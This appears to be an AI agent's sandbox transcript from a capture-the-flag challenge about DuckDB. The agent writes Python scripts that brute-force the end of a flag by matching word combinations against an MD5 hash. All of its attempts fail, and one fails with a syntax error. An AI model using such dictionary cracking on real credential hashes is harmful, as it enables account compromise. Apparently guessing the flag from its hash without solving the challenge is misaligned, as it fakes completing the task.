{"command": "cd /sandbox && timeout 90 python3 << 'EOF'\nimport hashlib\nfrom itertools import product\n\ntarget = \"f9faf4c817f77defc01213723a0f01e2\"\n\n# Final comprehensive attempt\n# All reasonable base words\nbases = [\n    \"quack\", \"quacks\", \"quacking\", \"duck\", \"ducks\", \"ducking\",\n    \"waddle\", \"waddling\", \"swim\", \"swimming\", \"fly\", \"flying\",\n    \"db\", \"sql\", \"database\", \"duckdb\", \"query\",\n    \"walk\", \"walks\", \"walking\", \"talk\", \"talks\", \"talking\",\n    \"look\", \"looks\", \"looking\", \"act\", \"acts\", \"acting\",\n    \"sound\", \"sounds\"\n]\n\n# Try 1-word + }\nprint(\"Trying single words...\")\nfor w in bases:\n    h = hashlib.md5((w + \"}\").encode()).hexdigest()\n    if h == target:\n        print(f\"FOUND: {w}}}\")\n        print(f\"Full flag: SSM{{ducks_{w}}}\")\n        exit(0)\n\n# Try 2-word with underscore\nprint(\"Trying 2-word combinations...\")\ncount = 0\nfor w1 in bases:\n    for w2 in bases:\n        if w1 != w2:\n            pattern = f\"{w1}_{w2}}}\"\n            h = hashlib.md5(pattern.encode()).hexdigest()\n            count += 1\n            if count % 100 == 0:\n                print(f\"  Tested {count}...\")\n            if h == target:\n                print(f\"FOUND: {pattern}\")\n                print(f\"Full flag: SSM{{ducks_{pattern}\")\n                exit(0)\n\n# Try with \"like\" and \"a\" connectors  \nprint(\"Trying with connectors 'like_a'...\")\nfor w in bases:\n    patterns = [\n        f\"like_a_{w}}}\",\n        f\"{w}_like_a_db}}}\",\n        f\"are_{w}}}\",\n        f\"go_{w}}}\",\n    ]\n    for p in patterns:\n        h = hashlib.md5(p.encode()).hexdigest()\n        if h == target:\n            print(f\"FOUND: {p}\")\n            print(f\"Full flag: SSM{{ducks_{p}\")\n            exit(0)\n\nprint(\"Exhausted reasonable attempts\")\nprint(\"The hash needs to be cracked using external tools/databases\")\n\nEOF\n", "timeout": 120}

{"exitCode":1,"stdout":"","stderr":"  File "", line 47\n    f"{w}like_a_db}}}",\n                     ^\nSyntaxError: f-string: single '}' is not allowed\n"}

{"filepath": "/sandbox/final_crack.py", "content": "#!/usr/bin/env python3\nimport hashlib\n\ntarget = \"f9faf4c817f77defc01213723a0f01e2\"\n\n# All possible base words\nbases = [\n    \"quack\", \"quacks\", \"quacking\", \"duck\", \"ducks\", \"ducking\",\n    \"waddle\", \"waddling\", \"swim\", \"swimming\", \"fly\", \"flying\",\n    \"db\", \"sql\", \"database\", \"duckdb\", \"query\", \"queries\",\n    \"walk\", \"walks\", \"walking\", \"talk\", \"talks\", \"talking\",\n    \"look\", \"looks\", \"looking\", \"act\", \"acts\", \"acting\",\n    \"sound\", \"sounds\", \"sounding\"\n]\n\n# Try 1-word + }\nprint(\"Trying single words...\")\nfor w in bases:\n    pattern = w + \"}\"\n    h = hashlib.md5(pattern.encode()).hexdigest()\n    if h == target:\n        print(f\"FOUND: {pattern}\")\n        print(f\"Full flag: SSM{{ducks_{pattern}\")\n        exit(0)\n\n# Try 2-word with underscore\nprint(\"Trying 2-word combinations...\")\ncount = 0\nfor w1 in bases:\n    for w2 in bases:\n        if w1 != w2:\n            pattern = w1 + \"_\" + w2 + \"}\"\n            h = hashlib.md5(pattern.encode()).hexdigest()\n            count += 1\n            if count % 100 == 0:\n                print(f\"  Tested {count}...\")\n            if h == target:\n                print(f\"FOUND: {pattern}\")\n                print(f\"Full flag: SSM{{ducks_{pattern}\")\n                exit(0)\n\n# Try with connectors\nprint(\"Trying with 'like_a' connector...\")\nfor w in bases:\n    patterns = [\n        \"like_a_\" + w + \"}\",\n        w + \"_like_a_db}\",\n        \"are_\" + w + \"}\",\n        \"go_\" + w + \"}\",\n        \"love_\" + w + \"}\",\n    ]\n    for p in patterns:\n        h = hashlib.md5(p.encode()).hexdigest()\n        if h == target:\n            print(f\"FOUND: {p}\")\n            print(f\"Full flag: SSM{{ducks_{p}\")\n            exit(0)\n\nprint(\"\\nExhausted dictionary attempts\")\nprint(\"Need external MD5 rainbow tables\")\n"}

{"result":"/sandbox/final_crack.py"}

{"command": "cd /sandbox && python3 final_crack.py", "timeout": 60}

{"exitCode":0,"stdout":"Trying single words...\nTrying 2-word combinations...\n  Tested 100...\n  Tested 200...\n  Tested 300...\n  Tested 400...\n  Tested 500...\n  Tested 600...\n  Tested 700...\n  Tested 800...\n  Tested 900...\n  Tested 1000...\nTrying with 'like_a' connector...\n\nExhausted dictionary attempts\nNeed external MD5 rainbow tables\n","stderr":""}

{"command": "cd /sandbox && python3 << 'EOF'\nimport hashlib\n\ntarget = \"f9faf4c817f77defc01213723a0f01e2\"\n\n# SSM could be Swedish related or CTF org\n# .se is Sweden domain\npatterns = [\n    # Swedish words\n    \"anka}\",  # duck in Swedish\n    \"ankor}\",  # ducks in Swedish\n    \"databas}\",  # database in Swedish\n    \"kvack}\",  # quack in Swedish?\n    \n    # Maybe it's the CTF name or organizer\n    \"ssm}\",\n    \"SSM}\",\n    \"ctf}\",\n    \"CTF}\",\n    \"sweden}\",\n    \"Sverige}\",  # Sweden in Swedish\n    \n    # Or about the challenge title literally\n    \"if_it_quacks_like_a_database}\",\n    \"it_must_be_a_database}\",\n    \"must_be_a_database}\",\n    \"must_be_a_db}\",\n    \"then_its_a_db}\",\n    \n    # Simple overlooked patterns\n    \"and_db}\",\n    \"and_duckdb}\",\n    \"and_database}\",\n]\n\nfor p in patterns:\n    h = hashlib.md5(p.encode()).hexdigest()\n    if h == target:\n        print(f\"FOUND: {p}\")\n        print(f\"Full flag: SSM{{ducks_{p}\")\n        exit(0)\n\nprint(\"Still not found\")\nEOF\n", "timeout": 5}

{"exitCode":0,"stdout":"Still not found\n","stderr":""}